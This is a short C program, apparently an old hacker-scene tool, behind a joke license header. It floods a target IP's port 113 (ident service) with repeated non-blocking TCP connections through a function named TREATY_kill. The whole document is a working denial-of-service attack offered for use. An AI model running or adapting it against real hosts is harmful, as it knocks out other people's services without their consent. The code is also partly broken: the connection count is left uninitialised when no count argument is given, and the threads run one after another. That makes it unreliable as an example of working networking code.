/***********************************************
* released under (E) licensing ... *
* (E) RULES AND REGULATIONS *
* permission to use/rewrite/add : granted *
* permission to trojan/steal : denied *
* permission to use illegally : denied *
* permission to use on /dev/urandom : denied *
***********************************************/
/* contact el8@press.co.jp for full license */
/* code copyrighted by ~el8 -- don't infringe! */
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <pthread.h>
#include <unistd.h>
#include <fcntl.h>
#define TIMEOUT 4
void * TREATY_kill(struct sockaddr_in *sin)
{
int sfd, flags;
void on_alrm(int s) {
close(s);
pthread_exit(NULL);
}
pthread_detach(pthread_self());
//signal(SIGALRM,on_alrm);
sfd = socket(AF_INET, SOCK_STREAM, 0);
if(sfd < 0)
{
perror("socket");
pthread_exit(NULL);
}
//alarm(TIMEOUT);
flags = fcntl(sfd, F_GETFL);
flags |= O_NONBLOCK;
fcntl(sfd, F_SETFL, flags);
if(connect(sfd, (struct sockaddr *)sin, sizeof(struct sockaddr_in))<0 && errno
!= EINPROGRESS)
{
perror("connect");
pthread_exit(NULL);
}
pthread_exit(NULL);
}
int main(int argc, char *argv[])
{
struct sockaddr_in sin;
pthread_t p;
int n,x;
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(113);
(argc>2)?x=atoi(argv[2]):20;
for(;x--;)
{
n = pthread_create(&p, NULL, (void *)&TREATY_kill, &sin);
if(n)
{
printf("pthread_create erroed or somehting\n");
exit(-1);
}
pthread_join(p, NULL);
}
return 1;
}
syntax highlighted by Code2HTML, v. 0.9.1